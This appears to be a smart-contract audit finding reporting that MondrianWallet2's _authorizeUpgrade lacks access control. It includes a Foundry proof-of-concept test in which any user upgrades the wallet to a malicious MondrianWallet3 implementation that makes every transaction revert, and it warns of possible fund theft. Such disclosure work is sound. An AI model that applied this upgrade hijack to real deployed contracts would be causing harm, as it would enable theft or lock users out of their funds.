For any UUPS Upgradeable smart contract setup, the access control is very important. In MondrianWallet2this essential piece as has a bug where MondrianWallet2::_authorizeUpgrade does not have any access control to keep the UUPSUpgrade well secured.
We will need to create a sample malicious contract & a test case to verify this bug.
function testAnyoneCanUpgradeTheContract() public {
address anyUser = makeAddr("anyUser");
vm.startPrank(anyUser);
MondrianWallet3 newImplementation = new MondrianWallet3();
mondrianWallet.upgradeToAndCall(address(newImplementation), "");
vm.stopPrank();
Transaction memory transaction = _createUnsignedTransaction(mondrianWallet.owner(), 113, address(0), 0, "");
vm.expectRevert();
mondrianWallet.executeTransaction("", "", transaction);
}
contract MondrianWallet3 is IAccount, Initializable, OwnableUpgradeable, UUPSUpgradeable {
using MemoryTransactionHelper for Transaction;
error MondrianWallet3__NotFromBootLoader();
error MondrianWallet3__NotFromBootLoaderOrOwner();
MODIFIERS
modifier requireFromBootLoader() {
if (msg.sender != BOOTLOADER_FORMAL_ADDRESS) {
revert MondrianWallet3__NotFromBootLoader();
}
_;
}
modifier requireFromBootLoaderOrOwner() {
if (msg.sender != BOOTLOADER_FORMAL_ADDRESS && msg.sender != owner()) {
revert MondrianWallet3__NotFromBootLoaderOrOwner();
}
_;
}
function initialize() public initializer {
__Ownable_init(msg.sender);
__UUPSUpgradeable_init();
}
constructor() {
_disableInitializers();
}
EXTERNAL FUNCTIONS
* @notice must increase the nonce
* @notice must validate the transaction (check the owner signed the transaction)
* @notice also check to see if we have enough money in our account
*/
function validateTransaction(
bytes32,
bytes32,
Transaction memory
) external payable requireFromBootLoader returns (bytes4) {
revert();
}
function executeTransaction(
bytes32,
bytes32,
Transaction memory
) external payable requireFromBootLoaderOrOwner {
revert();
}
INTERNAL FUNCTIONS
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
function executeTransactionFromOutside(Transaction calldata _transaction) external payable override {}
function payForTransaction(bytes32 _txHash, bytes32 _suggestedSignedHash, Transaction calldata _transaction)
external
payable
override
{}
function prepareForPaymaster(bytes32 _txHash, bytes32 _possibleSignedHash, Transaction calldata _transaction)
external
payable
override
{}
}
Without managing the access controls during UUPS Upgrades, any random user can upgrade the current contract implementation with any malicious implmentation causing serious distruction to the protocol requirement. The malicious contract may transfer all the funds to some random address incurring significant financial loss.
